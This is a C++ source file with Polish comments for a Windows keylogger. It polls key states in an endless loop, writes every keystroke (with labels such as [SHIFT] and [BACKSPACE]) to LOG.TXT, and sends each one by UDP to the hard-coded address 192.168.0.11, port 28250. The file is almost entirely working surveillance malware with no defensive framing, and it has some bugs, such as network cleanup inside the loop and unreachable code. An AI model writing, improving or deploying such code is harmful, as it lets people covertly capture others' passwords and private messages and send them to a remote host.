#include <winsock2.h>//ważne musi być zainkludowane przed widnows.h!!
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <time.h>
#pragma comment(lib, "Ws2_32.lib")
using namespace std;



int liss(int, char *file);

void main()

{

	WSADATA wsaData;

	SOCKET SendSocket;

	sockaddr_in RecvAddr;

	int Port = 28250;//port

	char SendBuf[1];//wiadomosc

	int BufLen = 1;//dlugosc wiadomosci

	char* IP_ADDRESS_S = "192.168.0.11";

	WSAStartup(MAKEWORD(2, 2), &wsaData);

	SendSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

	RecvAddr.sin_family = AF_INET;

	RecvAddr.sin_port = htons(Port);

	RecvAddr.sin_addr.s_addr = inet_addr(IP_ADDRESS_S);
	//nasluch oraz zapis do logow


	char i;
	while (1){

		for (i = 8; i <= 190; i++)
		{

			if (GetAsyncKeyState(i) == -32767)
			{
				liss(i, "LOG.TXT");
				WSACleanup();
				memset(SendBuf,i,1);
				sendto(SendSocket, SendBuf, BufLen, 0, (SOCKADDR *)&RecvAddr, sizeof(RecvAddr));
				cout << SendBuf;

			}

	}
	}

	cout << "Wysyłanie wiadomosc";

	cout << "wiadomosc wyslana.";

	closesocket(SendSocket);

	cout << "zamknieto socket.";

	WSACleanup();

}



int liss(int key_stroke, char *file){

	FILE *OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");//otwier plik do logów

	if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE] ");
	else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
	else if (key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");
	else if (key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
	else if (key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
	else if (key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
	else if (key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
	else if (key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB] ");
	else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
	else if (key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
	else if (key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
	else if (key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
	else if (key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
	else if (key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
	else if (key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");


	else fprintf(OUTPUT_FILE, "%s", &key_stroke); // jesli nie spelnilo zadnego warunku na gorze to wpisuje litere

	fclose(OUTPUT_FILE);
	//cout << key_stroke << endl;

	return 0;
}